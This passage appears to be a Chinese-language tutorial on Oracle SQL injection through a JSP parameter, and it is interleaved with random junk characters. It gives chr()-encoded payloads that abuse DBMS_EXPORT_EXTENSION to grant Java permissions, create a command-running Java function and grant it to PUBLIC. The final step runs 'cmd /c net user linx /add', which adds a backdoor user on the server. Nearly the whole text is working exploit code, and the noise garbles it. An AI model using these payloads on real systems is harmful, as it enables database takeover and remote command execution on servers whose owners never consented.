chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||3 E) X0 s$ S- C- s1 @" ?
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
2 ]! ?8 M+ n+ ]. ~* ~chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||" m; _' u$ i5 ?' ]% {6 Q
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)+ h; o; G% @* C8 m) [
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 _/ U; r0 n  M5 P5 G: R. c2 O; @$ E
! D& A+ e" E! e. i)2 [3 j7 g' @  O
0 R; x' x  w7 k6 ]
------------------------------
. i' x7 _$ R0 B, o* |- L$ Z2 u2 W
2.赋Java权限
( Q' B* _( f# P% }/xxx.jsp?id=1 and chr(49)<>chr(50)||(9 a2 O/ r& R+ ?+ w
3 ]9 S/ ]* N; S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
  J1 |* B& B) F- y$ Wchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
) W/ C( L) Q( echr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 _7 Y5 }9 C7 l7 v% X% |chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
- k9 \' o7 D/ l7 Wchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
  ?+ h: Y% c+ Z" ~/ \( gchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||; T7 z' j# s- i0 ?
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||/ z3 w" W, i0 g! m
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
7 U8 W* r* M7 A: g- t/ R. dchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||) X8 [, z; Q0 ]
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)0 P7 U7 f* D4 z$ D
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. }# F) ?7 [( i9 B% E: O8 l7 K  X# {7 h8 a% Z) s
)
2 g: o* J; r. U+ E8 o1 H2 p4 m& k* N1 ~
readfile函数的ascii版就不写了,见谅。
. |* x* R9 J& U* p8 X2 @' g1 s. n' `- n& |* h- h# x# K
3.创建函数
; i. `) i$ A2 j9 Y2 y& W- x
4 i6 w1 t6 e# a5 `: u* |5 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),1 o2 o% I  v# K  X# ^' E
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 {" m3 u% u  l5 O+ Tchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
  d3 i0 z  f; O+ zchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||6 D. t. E& u3 G7 }9 b( F1 A# I
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
0 a% s; Y) Z4 u+ M/ m: Tchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
8 ?7 e, A# o4 }8 S6 q0 pchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
6 J0 p1 K/ a# H# D6 E; }6 cchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
/ X( z& p9 ~3 Q! ~& h3 N4 N* Z# bchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||" a; D) n0 d# c* w6 M
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||2 }% _$ O: L$ ^( t( X- h& A
chr(59)||chr(45)||chr(45)" \6 f6 L& S; U* l0 z/ U2 D8 [
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 n% N3 b3 ~/ B
' P0 L$ z/ f4 Y; F9 D) r. b% K5 M: \
# m4 Q# W( G) N3 }

8 `! P1 ]8 j) D4 ?& Z! S3 w$ ?4.赋public执行函数的权限; ~9 Z6 h; l' f- V8 B
5 ~5 p3 d8 Q3 A' k: l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),' Z, o) M, G' o& X3 N
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
# h2 e; L/ N% T, l& z1 b' Jchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||$ b/ G7 j; f3 L  q9 W4 U# f
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||4 `1 O/ ?/ K1 F" T; J# g
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
; y8 e9 f  X0 _) p7 e6 O0 nchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
4 r6 G- s+ A! J0 [6 Z: Qchr(59)||chr(45)||chr(45)
  f5 F$ o2 N2 u,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual" _' B8 I% Q8 w* @

4 W/ k5 Q5 E8 A% p
! f8 O8 i4 z: M% U9 I% W
" P0 A# D% w) G3 c5.执行命令:. v! h) V+ X( T  h: w
$ W  x/ N1 S6 T# l7 k
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
9 S& Y* T# d! K* g6 O$ U6 @select sys.LinxRunCMD('cmd /c net user linx /add') from dual! S( E2 L& ~2 E) d/ c% m7 k! \
)
9 @- e0 V( ]7 F3 C
  x; ^/ z/ G1 B' u, v" g% m/ c2 K! A' f
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
% P9 W2 E" _; r6 a6 i4 V# ~select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
5 V5 U, M( J0 ~* [$ i% \, d)
1 O% K5 }0 O, L, N




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